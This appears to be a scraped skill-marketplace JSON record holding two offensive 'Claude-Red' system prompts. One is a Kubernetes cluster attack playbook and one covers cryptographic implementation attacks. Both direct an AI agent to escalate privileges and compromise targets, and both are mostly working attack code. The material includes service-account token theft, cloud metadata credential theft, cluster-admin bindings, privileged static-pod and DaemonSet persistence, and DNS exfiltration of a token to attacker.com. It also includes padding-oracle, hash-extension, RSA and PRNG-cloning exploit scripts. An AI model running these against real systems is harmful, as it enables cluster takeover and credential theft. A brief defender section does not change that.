--cacert=/etc/kubernetes/pki/etcd/ca.crt \\\n --cert=/etc/kubernetes/pki/etcd/server.crt \\\n --key=/etc/kubernetes/pki/etcd/server.key \\\n get /registry/secrets/kube-system/admin-token\n```\n\n---\n\n## Phase 7: Cloud Metadata from Pods\n\n### AWS EKS\n\n```bash\n# Access Instance Metadata Service (IMDS) from pod\ncurl -s http://169.254.169.254/latest/meta-data/\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/NODE_ROLE_NAME\n\n# IMDSv2 (requires token)\nTOKEN=$(curl -s -X PUT \"http://169.254.169.254/latest/api/token\" \\\n -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# EKS-specific: IRSA (IAM Roles for Service Accounts)\n# Check for projected token and annotated service account\ncat $AWS_WEB_IDENTITY_TOKEN_FILE\necho $AWS_ROLE_ARN\n\n# Use AWS CLI with stolen role\naws sts assume-role-with-web-identity \\\n --role-arn \"$AWS_ROLE_ARN\" \\\n --role-session-name pwn \\\n --web-identity-token \"$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)\"\n\n# Enumerate EKS cluster from stolen node credentials\naws eks describe-cluster --name CLUSTER_NAME\naws eks list-clusters\n```\n\n### GCP GKE\n\n```bash\n# GCP metadata server\ncurl -s -H \"Metadata-Flavor: Google\" \\\n http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\n\ncurl -s -H \"Metadata-Flavor: Google\" \\\n http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes\n\n# Get access token for GCP APIs\nACCESS_TOKEN=$(curl -s -H \"Metadata-Flavor: Google\" \\\n http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token | \\\n python3 -c \"import json,sys;print(json.load(sys.stdin)['access_token'])\")\n\n# Use token to access GCP APIs\ncurl -s -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n \"https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones/ZONE/instances\"\n\n# Workload Identity check\ncurl -s -H \"Metadata-Flavor: Google\" \\\n http://169.254.169.254/computeMetadata/v1/instance/attributes/cluster-name\n```\n\n### Azure AKS\n\n```bash\n# Azure Instance Metadata Service\ncurl -s -H \"Metadata: true\" \\\n \"http://169.254.169.254/metadata/instance?api-version=2021-02-01\"\n\n# Get managed identity token\ncurl -s -H \"Metadata: true\" \\\n \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/\"\n\n# Use token for Azure Resource Manager\nTOKEN=$(curl -s -H \"Metadata: true\" \\\n \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/\" | \\\n python3 -c \"import json,sys;print(json.load(sys.stdin)['access_token'])\")\n\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n \"https://management.azure.com/subscriptions?api-version=2020-01-01\"\n```\n\n---\n\n## Phase 8: Admission Controller Bypass and Persistence\n\n### Bypassing Admission Controllers\n\n```bash\n# Check which admission controllers are active\nkubectl get validatingwebhookconfigurations\nkubectl get mutatingwebhookconfigurations\n\n# Inspect webhook configuration for bypass opportunities\nkubectl get validatingwebhookconfigurations -o json | python3 -c \"\nimport json,sys\ndata=json.load(sys.stdin)\nfor wh in data['items']:\n name=wh['metadata']['name']\n for w in wh.get('webhooks',[]):\n ns_selector=w.get('namespaceSelector',{})\n obj_selector=w.get('objectSelector',{})\n failure=w.get('failurePolicy','Fail')\n print(f'{name}/{w[\\\"name\\\"]}: failurePolicy={failure}')\n if ns_selector:\n print(f' namespaceSelector: {json.dumps(ns_selector)}')\n if failure == 'Ignore':\n print(f' BYPASS: failurePolicy=Ignore - webhook failures are ignored')\n\"\n\n# If failurePolicy is Ignore, you can create resources when webhook is down\n# If namespaceSelector excludes certain namespaces, deploy there\n\n# Deploy to kube-system (often excluded from admission policies)\nkubectl run pwn --image=alpine -n kube-system -- sleep 3600\n\n# Use static pods (bypass API server admission entirely)\n# Write manifest to /etc/kubernetes/manifests/ on a node\ncat > /host/etc/kubernetes/manifests/pwn.yaml << 'EOF'\napiVersion: v1\nkind: Pod\nmetadata:\n name: pwn-static\n namespace: kube-system\nspec:\n hostPID: true\n hostNetwork: true\n containers:\n - name: pwn\n image: alpine\n command: [\"sleep\", \"3600\"]\n securityContext:\n privileged: true\n volumeMounts:\n - name: root\n mountPath: /host\n volumes:\n - name: root\n hostPath:\n path: /\nEOF\n```\n\n### CRD and Operator Abuse\n\n```bash\n# List custom resource definitions\nkubectl get crds\n\n# Check for operators with elevated privileges\nkubectl get deployments -A -o json | python3 -c \"\nimport json,sys\ndata=json.load(sys.stdin)\nfor d in data['items']:\n name=d['metadata']['name']\n ns=d['metadata']['namespace']\n sa=d['spec']['template']['spec'].get('serviceAccountName','default')\n if any(x in name.lower() for x in ['operator','controller','manager']):\n print(f'{ns}/{name} (SA: {sa})')\n\"\n\n# If you can create CRDs, install a backdoor operator\n# If you can modify existing CRs, inject malicious configurations\n# Example: modify a CR that triggers pod creation with your image\n```\n\n### Persistence via DaemonSet\n\n```bash\n# Deploy a DaemonSet that runs on every node\ncat <<'EOF' | kubectl apply -f -\napiVersion: apps/v1\nkind: DaemonSet\nmetadata:\n name: node-monitor\n namespace: kube-system\n labels:\n app: node-monitor\nspec:\n selector:\n matchLabels:\n app: node-monitor\n template:\n metadata:\n labels:\n app: node-monitor\n spec:\n hostPID: true\n hostNetwork: true\n tolerations:\n - operator: Exists\n containers:\n - name: monitor\n image: alpine\n command: [\"/bin/sh\", \"-c\"]\n args:\n - |\n while true; do\n # Beacon to C2 or maintain reverse shell\n sleep 3600\n done\n securityContext:\n privileged: true\n volumeMounts:\n - name: host\n mountPath: /host\n volumes:\n - name: host\n hostPath:\n path: /\nEOF\n```\n\n---\n\n## Phase 9: Network Policy Bypass\n\n```bash\n# Check if network policies exist\nkubectl get networkpolicies -A\n\n# If no policies exist, all pod-to-pod traffic is allowed by default\n# Even with policies, bypass opportunities include:\n\n# 1. DNS-based exfiltration (port 53 is rarely blocked)\n# Encode data in DNS queries\nnslookup $(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | head -c 60).attacker.com\n\n# 2. Metadata service (169.254.169.254) may not be covered by network policies\ncurl -s http://169.254.169.254/latest/meta-data/\n\n# 3. NodePort services bypass pod-level network policies\n# Access services via node IP and NodePort (30000-32767)\n\n# 4. Host network pods bypass network policies entirely\n# If you can create hostNetwork pods, you bypass all CNI-level restrictions\n\n# 5. Service mesh sidecar bypass\n# If Istio/Linkerd sidecars are present, traffic between pods goes through the mesh\n# Direct pod IP access (bypassing service) may skip mesh-level policies\n\n# 6. Check for misconfigured egress policies\nkubectl get networkpolicies -A -o json | python3 -c \"\nimport json,sys\ndata=json.load(sys.stdin)\nfor np in data['items']:\n name=np['metadata']['name']\n ns=np['metadata']['namespace']\n egress=np['spec'].get('egress')\n if egress is None:\n print(f'{ns}/{name}: no egress rules (all egress blocked if policyTypes includes Egress)')\n elif len(egress)==1 and egress[0]=={}:\n print(f'{ns}/{name}: WIDE OPEN egress (empty rule = allow all)')\n\"\n```\n\n---\n\n## Detection / Defender View\n\nDefenders monitoring for Kubernetes cluster attacks should watch for:\n\n- **Audit logging**: Enable and monitor Kubernetes audit logs for unusual API calls. Watch for `create` or `patch` on `clusterrolebindings`, `roles`, `pods/exec`, and `secrets`. Track service account token usage outside normal application patterns.\n- **RBAC alerts**: Alert on creation of ClusterRoleBindings to `cluster-admin`. Monitor for wildcard permissions in new roles. Track `escalate`, `bind`, and `impersonate` verb usage.\n- **Kubelet access**: Monitor for direct kubelet API connections (10250) that do not originate from the API server. Disable the read-only port (10255) entirely.\n- **Pod security**: Enforce Pod Security Standards (restricted profile). Alert on pod creation with `hostPID`, `hostNetwork`, `hostPath`, or `privileged: true`. Watch for pods running in `kube-system` that are not part of the standard control plane.\n- **Secrets access patterns**: Monitor for bulk secret reads across namespaces. Alert on service accounts accessing secrets they do not normally access. Enable encryption at rest for etcd.\n- **Network monitoring**: Watch for pod-to-metadata-service traffic (169.254.169.254). Monitor DNS query patterns for tunneling indicators. Alert on pod-to-pod traffic that bypasses service abstractions.\n- **Cloud IAM**: Restrict IMDS access to pods that need it (use network policies or cloud-native controls). Use workload identity instead of node-level IAM roles. Audit cloud API calls originating from Kubernetes nodes.\n- **Falco and runtime**: Deploy runtime security monitoring. Detect unexpected process execution, network connections, and file access in containers. Watch for `nsenter`, `kubectl`, and `curl` to API endpoints from application pods.\n\n---\n\n## Engagement Cheatsheet\n\n```bash\n# --- Initial Recon ---\n# Get current permissions\nkubectl auth can-i --list\nkubectl auth can-i --list -n kube-system\nkubectl auth can-i create pods\nkubectl auth can-i get secrets --all-namespaces\n\n# Enumerate cluster\nkubectl cluster-info\nkubectl get nodes -o wide\nkubectl get namespaces\nkubectl get pods -A -o wide\nkubectl get services -A\n\n# --- Secrets ---\nkubectl get secrets -A\nkubectl get secret -n -o jsonpath='{.data}' | python3 -c \"import json,sys,base64;[print(f'{k}: {base64.b64decode(v).decode()}') for k,v in json.load(sys.stdin).items()]\"\n\n# --- Privilege Escalation ---\n# Create cluster-admin binding\nkubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default\n\n# Deploy privileged pod\nkubectl run pwn --image=alpine --overrides='{\"spec\":{\"hostPID\":true,\"hostNetwork\":true,\"containers\":[{\"name\":\"pwn\",\"image\":\"alpine\",\"command\":[\"sleep\",\"3600\"],\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"name\":\"h\",\"mountPath\":\"/host\"}]}],\"volumes\":[{\"name\":\"h\",\"hostPath\":{\"path\":\"/\"}}]}}' --restart=Never\n\n# --- Kubelet ---\ncurl -sk https://NODE_IP:10250/runningpods/ -H \"Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\"\ncurl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER -d \"cmd=id\" -H \"Authorization: Bearer $TOKEN\"\n\n# --- Cloud Metadata ---\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\ncurl -s -H \"Metadata-Flavor: Google\" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token\ncurl -s -H \"Metadata: true\" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/\"\n\n# --- Lateral Movement ---\n# Exec into other pods\nkubectl get pods -A\nkubectl exec -it POD_NAME -n NAMESPACE -- /bin/sh\n\n# Port forward to internal services\nkubectl port-forward svc/SERVICE 8080:80 -n NAMESPACE\n```\n\n---\n\n## Key References\n\n- MITRE ATT&CK T1609 - Container Administration Command\n- MITRE ATT&CK T1610 - Deploy Container\n- MITRE ATT&CK T1613 - Container and Resource Discovery\n- MITRE ATT&CK T1552.007 - Container API / Kubernetes Secrets\n- Tool: kube-hunter - https://github.com/aquasecurity/kube-hunter\n- Tool: peirates - https://github.com/inguardians/peirates\n- Tool: kubeaudit - https://github.com/Shopify/kubeaudit\n- Tool: kdigger - https://github.com/quarkslab/kdigger\n- Tool: kubeletctl - https://github.com/cyberark/kubeletctl\n- Kubernetes Security Documentation - https://kubernetes.io/docs/concepts/security/\n- Kubernetes Threat Matrix (Microsoft) - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/\n- Kubernetes Hardening Guide (NSA/CISA) - https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF\n- HackTricks Kubernetes Pentesting - https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes","schemaVersion":1},"repoUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/container/offensive-k8s-attacks","tags":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills","prompt"],"stats":{"installVelocity7d":0,"retentionRate":0,"executions":0,"rating":null},"origin":"github","source":{"repo":"Claude-Red","audit":{"files":[],"binaries":[],"findings":[],"packages":0,"auditedAt":"2026-09-25T10:52:29.874Z","lockfiles":[]},"forks":901,"owner":"SnailSploit","stars":6898,"topics":["claude-ai","claude-pt","claude-skills","redteam","redteam-tools","skills"],"license":"MIT","fullName":"SnailSploit/Claude-Red","homepage":null,"language":"Python","pushedAt":"2026-09-19T23:46:22Z","avatarUrl":"https://avatars.githubusercontent.com/u/95986478?v=4","crawledAt":"2026-09-25T10:52:19.624Z","openIssues":15,"manifestFile":"SKILL.md","manifestPath":"Skills/container/offensive-k8s-attacks/SKILL.md","defaultBranch":"main"},"readme":"# Kubernetes Cluster Attacks\n\nYou have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques.\n\n## Quick Workflow\n\n1. Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file.\n2. Enumerate service account permissions, cluster roles, and accessible resources.\n3. Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access.\n4. Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts.\n5. Extract secrets, pivot to other namespaces, and target the control plane.\n6. Leverage cloud metadata or etcd access for infrastructure-wide compromise.\n\n---\n\n## Phase 1: Initial Enumeration\n\n### Determining Your Position\n\n```bash\n# Check if you are inside a pod\nls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null\ncat /var/run/secrets/kubernetes.io/serviceaccount/token\ncat /var/run/secrets/kubernetes.io/serviceaccount/namespace\ncat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\n\n# Environment variables set by Kubernetes\nenv | grep -i kube\nenv | grep -i kubernetes\n\n# Service host and port are injected into every pod\necho $KUBERNETES_SERVICE_HOST\necho $KUBERNETES_SERVICE_PORT\n\n# DNS resolution for API server\nnslookup kubernetes.default.svc.cluster.local\n\n# Determine if kubectl is available\nwhich kubectl 2>/dev/null\n# If not, use curl with the service account token\n```\n\n### Setting Up API Access Without kubectl\n\n```bash\n# Extract token and CA certificate\nTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\nCACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt\nAPISERVER=\"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}\"\n\n# Test API access\ncurl -s --cacert ${CACERT} -H \"Authorization: Bearer ${TOKEN}\" \\\n ${APISERVER}/api/v1/namespaces\n\n# Shorthand function for repeated use\nk8s_api() {\n curl -s --cacert ${CACERT} -H \"Authorization: Bearer ${TOKEN}\" \\\n \"${APISERVER}$1\"\n}\n\n# Check your identity\nk8s_api \"/apis/authentication.k8s.io/v1/tokenreviews\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \"{\\\"apiVersion\\\":\\\"authentication.k8s.io/v1\\\",\\\"kind\\\":\\\"TokenReview\\\",\\\"spec\\\":{\\\"token\\\":\\\"${TOKEN}\\\"}}\"\n```\n\n### Automated Enumeration Tools\n\n```bash\n# kube-hunter - Kubernetes penetration testing tool\nkube-hunter --active --remote $APISERVER\n\n# peirates - Kubernetes penetration tool (run from within pod)\n./peirates\n\n# kubeaudit - Audit Kubernetes clusters for security concerns\nkubeaudit all -f /path/to/kubeconfig\n\n# kdigger - Kubernetes-focused container assessment\n./kdigger dig all\n\n# kubectl auth can-i - Check your permissions\nkubectl auth can-i --list\nkubectl auth can-i --list --namespace=kube-system\nkubectl auth can-i create pods\nkubectl auth can-i create pods/exec\nkubectl auth can-i get secrets\nkubectl auth can-i '*' '*'\n```\n\n---\n\n## Phase 2: Service Account Token Theft and Abuse\n\n### Discovering Tokens\n\n```bash\n# Default service account token mount\ncat /var/run/secrets/kubernetes.io/serviceaccount/token\n\n# Projected service account tokens (newer clusters)\nls /var/run/secrets/kubernetes.io/serviceaccount/\n# Files: token, ca.crt, namespace\n\n# Search for tokens in environment variables and config files\nenv | grep -i token\nfind / -name \"kubeconfig\" -o -name \".kube\" -o -name \"config\" 2>/dev/null\nfind / -name \"*.kubeconfig\" 2>/dev/null\n\n# Check mounted secrets in other pods (if you can list or exec)\nkubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret","createdAt":"2026-09-25T10:52:30.560Z","updatedAt":"2026-09-25T10:52:30.560Z"},{"id":"cmugudcs00145qu066j6vfolb","slug":"snailsploit-claude-red-offensive-crypto-attacks","name":"offensive-crypto-attacks","description":"Systematic methodology for identifying and exploiting cryptographic implementation weaknesses in real-world applications. Covers padding oracle attacks against CBC-mode ciphers with PKCS7 padding (Vaudenay's original attack through modern padbuster automation), ECB mode exploitation including block cut-and-paste and byte-at-a-time decryption, hash length extension attacks against SHA1/SHA256/MD5-based MACs using HashPump, RSA vulnerabilities including small public exponent, common modulus, Bleichenbacher PKCS1v1.5 padding oracle, and Coppersmith's method for partial key recovery. Addresses weak PRNG exploitation targeting time-seeded generators and Mersenne Twister MT19937 state recovery from observed outputs, timing side-channel attacks against comparison operations, nonce reuse in AES-GCM leading to authentication key recovery, and key derivation weaknesses including insufficient iteration counts and missing salts. Primary tooling includes padbuster, RsaCtfTool, hashpump, and PyCryptodome for building custom exploit payloads. Maps to CWE-327 (Use of a Broken or Risky Cryptographic Algorithm), CWE-328 (Use of Weak Hash), and CWE-330 (Use of Insufficiently Random Values). Emphasizes black-box identification of vulnerable implementations before transitioning to targeted exploitation.","authorId":"gh:snailsploit","authorName":"SnailSploit","version":"0.1.0","category":"Prompt","securityLevel":"Community","downloadsCount":0,"githubStars":6898,"pricePerCall":0,"manifest":{"name":"offensive-crypto-attacks","tools":[],"category":"Prompt","entrypoint":{"type":"prompt"},"description":"Systematic methodology for identifying and exploiting cryptographic implementation weaknesses in real-world applications. Covers padding oracle attacks against CBC-mode ciphers with PKCS7 padding (Vaudenay's original attack through modern padbuster automation), ECB mode exploitation including block cut-and-paste and byte-at-a-time decryption, hash length extension attacks against SHA1/SHA256/MD5-based MACs using HashPump, RSA vulnerabilities including small public exponent, common modulus, Bleichenbacher PKCS1v1.5 padding oracle, and Coppersmith's method for partial key recovery. Addresses weak PRNG exploitation targeting time-seeded generators and Mersenne Twister MT19937 state recovery from observed outputs, timing side-channel attacks against comparison operations, nonce reuse in AES-GCM leading to authentication key recovery, and key derivation weaknesses including insufficient iteration counts and missing salts. Primary tooling includes padbuster, RsaCtfTool, hashpump, and PyCryptodome for building custom exploit payloads. Maps to CWE-327 (Use of a Broken or Risky Cryptographic Algorithm), CWE-328 (Use of Weak Hash), and CWE-330 (Use of Insufficiently Random Values). Emphasizes black-box identification of vulnerable implementations before transitioning to targeted exploitation.","permissions":[],"systemPrompt":"# Cryptographic Implementation Attacks\n\nYou are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.\n\n## Quick Workflow\n\n1. Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.\n2. Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.\n3. Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.\n4. Select and configure the appropriate tool or custom script.\n5. Execute the attack, decrypt or forge the target value.\n6. Document the cryptographic weakness, its root cause, and the remediation path.\n\n---\n\n## Padding Oracle Attacks\n\nPadding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.\n\nIdentify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.\n\nUse padbuster for automated exploitation against web applications:\n\n```bash\n# Decrypt an encrypted cookie value\n# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16\npadbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \\\n -cookies \"session=EncryptedValue\" \\\n -encoding 0 \\\n -error \"invalid\"\n\n# Forge a new plaintext value using the discovered oracle\npadbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \\\n -cookies \"session=EncryptedValue\" \\\n -encoding 0 \\\n -error \"invalid\" \\\n -plaintext \"admin=true;user=attacker\"\n```\n\nBuild a custom padding oracle exploit when padbuster cannot handle the target's encoding or transport:\n\n```python\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad, unpad\nimport requests\nimport struct\n\ndef oracle(iv, ciphertext, url):\n \"\"\"Return True if the server accepts the padding.\"\"\"\n payload = (iv + ciphertext).hex()\n resp = requests.get(url, params={\"data\": payload})\n return resp.status_code != 500 # Adapt to your oracle signal\n\ndef decrypt_block(prev_block, cipher_block, url, block_size=16):\n \"\"\"Decrypt a single block via Vaudenay's attack.\"\"\"\n intermediate = bytearray(block_size)\n plaintext = bytearray(block_size)\n\n for byte_pos in range(block_size - 1, -1, -1):\n pad_val = block_size - byte_pos\n crafted_iv = bytearray(block_size)\n\n # Set already-recovered bytes to produce correct padding\n for k in range(byte_pos + 1, block_size):\n crafted_iv[k] = intermediate[k] ^ pad_val\n\n for guess in range(256):\n crafted_iv[byte_pos] = guess\n if oracle(bytes(crafted_iv), cipher_block, url):\n # Handle the ambiguity on the last byte\n if byte_pos == block_size - 1:\n crafted_iv[byte_pos - 1] ^= 1\n if not oracle(bytes(crafted_iv), cipher_block, url):\n continue\n intermediate[byte_pos] = guess ^ pad_val\n plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]\n break\n\n return bytes(plaintext)\n```\n\n---\n\n## ECB Block Manipulation\n\nECB mode encrypts each block independently with the same key, producing identical ciphertext for identical plaintext blocks. This determinism enables two primary attacks: cut-and-paste block rearrangement and byte-at-a-time decryption.\n\nDetect ECB mode by encrypting repeated plaintext and checking for repeated ciphertext blocks:\n\n```python\ndef detect_ecb(ciphertext, block_size=16):\n \"\"\"Detect ECB mode by finding duplicate blocks.\"\"\"\n blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]\n return len(blocks) != len(set(blocks))\n\n# Probe an encryption oracle for ECB\n# Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB\nprobe = b\"A\" * (block_size * 3)\nciphertext = encryption_oracle(probe)\nif detect_ecb(ciphertext):\n print(\"ECB mode confirmed\")\n```\n\nPerform byte-at-a-time decryption against an oracle that appends a secret before encrypting:\n\n```python\ndef byte_at_a_time_ecb(oracle_func, block_size=16):\n \"\"\"Recover secret appended by an ECB encryption oracle.\"\"\"\n recovered = b\"\"\n\n # Determine the total secret length\n baseline_len = len(oracle_func(b\"\"))\n\n for i in range(baseline_len):\n block_index = (len(recovered)) // block_size\n # Craft input so the target byte is the last byte of a block\n pad_len = block_size - 1 - (len(recovered) % block_size)\n padding = b\"A\" * pad_len\n\n # Get the target block\n target_ct = oracle_func(padding)\n target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]\n\n # Brute-force the unknown byte\n for byte_val in range(256):\n test_input = padding + recovered + bytes([byte_val])\n test_ct = oracle_func(test_input)\n test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]\n if test_block == target_block:\n recovered += bytes([byte_val])\n break\n\n return recovered\n```\n\nECB cut-and-paste attacks rearrange ciphertext blocks to produce valid plaintext with attacker-controlled content. Target any system where structured data (JSON, key=value pairs, serialized objects) is ECB-encrypted and the attacker controls part of the input.\n\n---\n\n## Hash Length Extension\n\nWhen an application computes a MAC as `H(secret || message)` using a Merkle-Damgard hash (MD5, SHA1, SHA256), you can append data to the message and compute a valid MAC without knowing the secret. You only need the original MAC, the message, and the secret length (or a range to brute-force).\n\nUse hashpump to forge extended messages:\n\n```bash\n# hashpumpy Python bindings\npip install hashpumpy\n\n# Forge an extended hash\n# Original signature, original data, data to append, key length\nhashpump -s \"original_mac_hex\" \\\n -d \"original_data\" \\\n -a \"&admin=true\" \\\n -k 16\n```\n\n```python\nimport hashpumpy\nimport requests\n\noriginal_mac = \"a1b2c3d4e5f6...\"\noriginal_data = \"user=guest&expire=2025\"\nappend_data = \"&admin=true\"\n\n# Try key lengths from 8 to 32\nfor key_len in range(8, 33):\n new_mac, new_data = hashpumpy.hashpump(\n original_mac, original_data, append_data, key_len\n )\n # Submit the forged request\n resp = requests.get(\n f\"http://target.com/api?data={new_data.hex()}&mac={new_mac}\"\n )\n if resp.status_code == 200 and \"admin\" in resp.text:\n print(f\"Key length: {key_len}\")\n print(f\"Forged MAC: {new_mac}\")\n break\n```\n\nHMAC constructions (`H(key XOR opad || H(key XOR ipad || message))`) are not vulnerable to length extension. If you identify HMAC in use, pivot to other attack vectors.\n\n---\n\n## RSA Attacks\n\nRSA implementations fail in predictable ways. Target the mathematical parameters before attacking the padding scheme.\n\nUse RsaCtfTool for automated RSA analysis:\n\n```bash\n# Attack a public key directly\nRsaCtfTool --publickey pubkey.pem --private\n\n# Decrypt a ciphertext with a known weak key\nRsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin\n\n# Attack multiple keys for common factor (shared prime)\nRsaCtfTool --publickey \"key1.pem,key2.pem\" --private\n\n# Specific attack selection\nRsaCtfTool --publickey pubkey.pem --attack wiener\nRsaCtfTool --publickey pubkey.pem --attack smallq\nRsaCtfTool --publickey pubkey.pem --attack fermat\n```\n\nExploit small public exponent (e=3) when the plaintext is short enough that `m^e < n`:\n\n```python\nfrom Crypto.PublicKey import RSA\nfrom gmpy2 import iroot\n\ndef small_exponent_attack(ciphertext_int, e, n):\n \"\"\"When m^e < n, the ciphertext is simply m^e with no modular reduction.\"\"\"\n plaintext_int, is_perfect = iroot(ciphertext_int, e)\n if is_perfect:\n return int(plaintext_int).to_bytes(\n (int(plaintext_int).bit_length() + 7) // 8, 'big'\n )\n return None\n\n# Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients\ndef hastad_broadcast(ciphertexts, moduli, e=3):\n \"\"\"CRT-based recovery when the same message is sent to e recipients.\"\"\"\n from functools import reduce\n N = reduce(lambda a, b: a * b, moduli)\n result = 0\n for ci, ni in zip(ciphertexts, moduli):\n Ni = N // ni\n _, mi, _ = gmpy2.gcdext(Ni, ni)\n result += ci * Ni * int(mi)\n result = result % N\n plaintext, _ = iroot(result, e)\n return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')\n```\n\nBleichenbacher's attack targets RSA PKCS#1 v1.5 padding. The oracle is any system that distinguishes between valid and invalid PKCS#1 v1.5 padding after decryption. This includes TLS servers returning different alerts, APIs returning different error codes, and timing differences in error handling. The attack requires approximately 2^20 oracle queries to recover the plaintext.\n\nCoppersmith's method recovers small unknown portions of RSA plaintext or factors when partial information is known. Use SageMath for the lattice computations:\n\n```python\n# SageMath: recover high bits of a factor\n# If you know the top bits of p, Coppersmith finds the rest\nn = \np_approx = \nP. = PolynomialRing(Zmod(n))\nf = p_approx + x\nroots = f.small_roots(X=2^64, beta=0.5) # X bounds the unknown portion\nif roots:\n p = p_approx + int(roots[0])\n q = n // p\n print(f\"p = {p}\")\n print(f\"q = {q}\")\n```\n\n---\n\n## Weak PRNG Exploitation\n\nApplications that seed random number generators from predictable sources -- timestamps, PIDs, low-entropy pools -- produce predictable outputs.\n\nRecover MT19937 (Mersenne Twister) internal state from 624 consecutive 32-bit outputs:\n\n```python\ndef untemper(y):\n \"\"\"Reverse the MT19937 tempering transform.\"\"\"\n # Reverse: y ^= y >> 18\n y ^= y >> 18\n # Reverse: y ^= (y << 15) & 0xEFC60000\n y ^= (y << 15) & 0xEFC60000\n # Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)\n tmp = y\n for _ in range(7):\n tmp = y ^ ((tmp << 7) & 0x9D2C5680)\n y = tmp\n # Reverse: y ^= y >> 11 (iterative)\n tmp = y\n for _ in range(3):\n tmp = y ^ (tmp >> 11)\n y = tmp\n return y\n\ndef clone_mt19937(outputs_624):\n \"\"\"Clone MT19937 state from exactly 624 observed 32-bit outputs.\"\"\"\n import random\n mt_state = [untemper(o) for o in outputs_624]\n # Reconstruct the state tuple: (3, tuple(624 ints + index), None)\n state = (3, tuple(mt_state + [624]), None)\n cloned = random.Random()\n cloned.setstate(state)\n return cloned\n\n# Predict all future outputs\ncloned_rng = clone_mt19937(observed_outputs)\nnext_token = cloned_rng.getrandbits(32)\n```\n\nExploit time-seeded PRNGs by narrowing the seed window:\n\n```python\nimport random\nimport time\n\ndef brute_force_time_seed(known_output, time_window_start, time_window_end):\n \"\"\"Recover the seed when random.seed() was called with int(time.time()).\"\"\"\n for seed in range(int(time_window_start), int(time_window_end)):\n rng = random.Random(seed)\n if rng.getrandbits(32) == known_output:\n return seed\n return None\n```\n\n---\n\n## Timing Side-Channel Attacks\n\nTiming attacks exploit data-dependent execution time in cryptographic comparisons. The classic target is byte-by-byte string comparison of MACs, tokens, or passwords.\n\n```python\nimport requests\nimport time\nimport statistics\n\ndef timing_attack_mac(url, known_prefix, charset, samples=20):\n \"\"\"Recover a MAC byte-by-byte via timing side-channel.\"\"\"\n best_byte = None\n best_time = 0\n\n for candidate in charset:\n test_mac = known_prefix + candidate + \"\\x00\" * (32 - len(known_prefix) - 1)\n times = []\n for _ in range(samples):\n start = time.perf_counter_ns()\n requests.get(url, params={\"mac\": test_mac})\n elapsed = time.perf_counter_ns() - start\n times.append(elapsed)\n\n median = statistics.median(times)\n if 